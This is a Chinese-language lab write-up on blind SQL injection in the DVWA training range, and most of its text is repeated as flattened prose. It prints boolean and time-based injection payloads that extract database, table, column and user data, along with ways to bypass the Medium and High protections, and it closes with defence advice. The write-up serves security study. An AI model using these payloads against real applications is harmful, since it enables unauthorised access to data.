DVWA靶场之SQL Injection (Blind)学习分享
字数 1339 2025-08-24 20:49:31

SQL Injection (Blind) 漏洞学习与利用指南

一、SQL盲注概述

SQL盲注(Blind SQL Injection)是一种特殊类型的SQL注入攻击,与常规SQL注入不同之处在于:

  • 应用不会返回数据库错误信息
  • 查询结果不会直接显示在页面上
  • 攻击者只能通过应用的不同响应(如布尔值或时间延迟)来推断信息

二、DVWA靶场中的SQL盲注漏洞

1. Low级别漏洞分析

漏洞特征

  • 对参数id没有任何检查或过滤
  • 查询结果只有两种:"User ID exists in the database"或"User ID is MISSING from the database"
  • 典型的布尔盲注场景

利用方法

  1. 验证漏洞存在

    • 输入:lucy → 返回True
    • 输入:lucy' → 返回False
  2. 判断数据库长度

    lucy' or length(database())>4-- q  # False
    lucy' or length(database())>3-- q  # True
    

    结论:数据库名长度为4

  3. 逐字符猜解数据库名

    lucy' or (substr(database(),1,1))='d'-- q  # True
    

    最终确定数据库名为"dvwa"

  4. 猜解表名

    lucy' or (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='g'-- q
    

    最终得到表名:guestbook, users

  5. 猜解字段名

    lucy' or (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='u'-- q
    

    最终字段:user_id, first_name, last_name, user, password, avatar, last_login, failed_login

  6. 提取数据

    lucy' or (substr((select user from users limit 0,1),1,1))='a'-- q
    

2. Medium级别漏洞分析

防护措施

  • 使用mysql_real_escape_string函数转义特殊字符(\x00,\n,\r,,',",\x1a)
  • 前端使用下拉选择表单限制输入

绕过方法

  • 通过抓包修改id参数
  • 使用基于布尔的盲注技术

利用示例

1 or length(database())=4 #

3. High级别漏洞分析

防护措施

  • 通过cookie传递参数id
  • 查询结果为空时执行sleep(seconds)干扰基于时间的盲注
  • SQL查询中添加LIMIT 1限制输出

利用方法

  1. 修改cookie中的id参数:
    1' and length(database())=4 #
    
  2. 判断字段数:
    1' and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #
    
    (0×7573657273为"users"的16进制)

4. Impossible级别防护措施

有效防护手段

  1. 采用PDO技术,分离代码与数据
  2. 只有返回的查询结果数量为一时才会输出
  3. 加入Anti-CSRFtoken机制

三、SQL盲注技术总结

1. 布尔盲注技术

  • 利用条件语句构造真/假查询
  • 通过页面返回的不同响应推断信息
  • 常用函数:length(), substr(), ascii()

2. 时间盲注技术

  • 利用条件时间延迟函数(如sleep())
  • 通过响应时间差异判断条件真假
  • 常用语句:if(condition,sleep(5),0)

3. 自动化工具使用

  • 可使用Burp Suite的Intruder模块自动化猜解过程
  • 设置payload类型为"Brute forcer"或"Cluster bomb"
  • 配置Grep-Match来识别成功响应

四、防御建议

  1. 使用参数化查询(PDO/prepared statements)
  2. 实施严格的输入验证和过滤
  3. 限制数据库用户权限
  4. 对敏感操作实施多因素认证
  5. 使用Web应用防火墙(WAF)
  6. 定期进行安全审计和渗透测试

通过系统学习SQL盲注的原理和利用技术,安全人员可以更好地理解这类漏洞的危害,并采取有效措施进行防护。

SQL Injection (Blind) 漏洞学习与利用指南 一、SQL盲注概述 SQL盲注(Blind SQL Injection)是一种特殊类型的SQL注入攻击,与常规SQL注入不同之处在于: 应用不会返回数据库错误信息 查询结果不会直接显示在页面上 攻击者只能通过应用的不同响应(如布尔值或时间延迟)来推断信息 二、DVWA靶场中的SQL盲注漏洞 1. Low级别漏洞分析 漏洞特征 : 对参数id没有任何检查或过滤 查询结果只有两种:"User ID exists in the database"或"User ID is MISSING from the database" 典型的布尔盲注场景 利用方法 : 验证漏洞存在 : 输入: lucy → 返回True 输入: lucy' → 返回False 判断数据库长度 : 结论:数据库名长度为4 逐字符猜解数据库名 : 最终确定数据库名为"dvwa" 猜解表名 : 最终得到表名:guestbook, users 猜解字段名 : 最终字段:user_ id, first_ name, last_ name, user, password, avatar, last_ login, failed_ login 提取数据 : 2. Medium级别漏洞分析 防护措施 : 使用 mysql_real_escape_string 函数转义特殊字符(\x00,\n,\r,\,',",\x1a) 前端使用下拉选择表单限制输入 绕过方法 : 通过抓包修改id参数 使用基于布尔的盲注技术 利用示例 : 3. High级别漏洞分析 防护措施 : 通过cookie传递参数id 查询结果为空时执行 sleep(seconds) 干扰基于时间的盲注 SQL查询中添加LIMIT 1限制输出 利用方法 : 修改cookie中的id参数: 判断字段数: (0×7573657273为"users"的16进制) 4. Impossible级别防护措施 有效防护手段 : 采用PDO技术,分离代码与数据 只有返回的查询结果数量为一时才会输出 加入Anti-CSRFtoken机制 三、SQL盲注技术总结 1. 布尔盲注技术 利用条件语句构造真/假查询 通过页面返回的不同响应推断信息 常用函数:length(), substr(), ascii() 2. 时间盲注技术 利用条件时间延迟函数(如sleep()) 通过响应时间差异判断条件真假 常用语句: if(condition,sleep(5),0) 3. 自动化工具使用 可使用Burp Suite的Intruder模块自动化猜解过程 设置payload类型为"Brute forcer"或"Cluster bomb" 配置Grep-Match来识别成功响应 四、防御建议 使用参数化查询(PDO/prepared statements) 实施严格的输入验证和过滤 限制数据库用户权限 对敏感操作实施多因素认证 使用Web应用防火墙(WAF) 定期进行安全审计和渗透测试 通过系统学习SQL盲注的原理和利用技术,安全人员可以更好地理解这类漏洞的危害,并采取有效措施进行防护。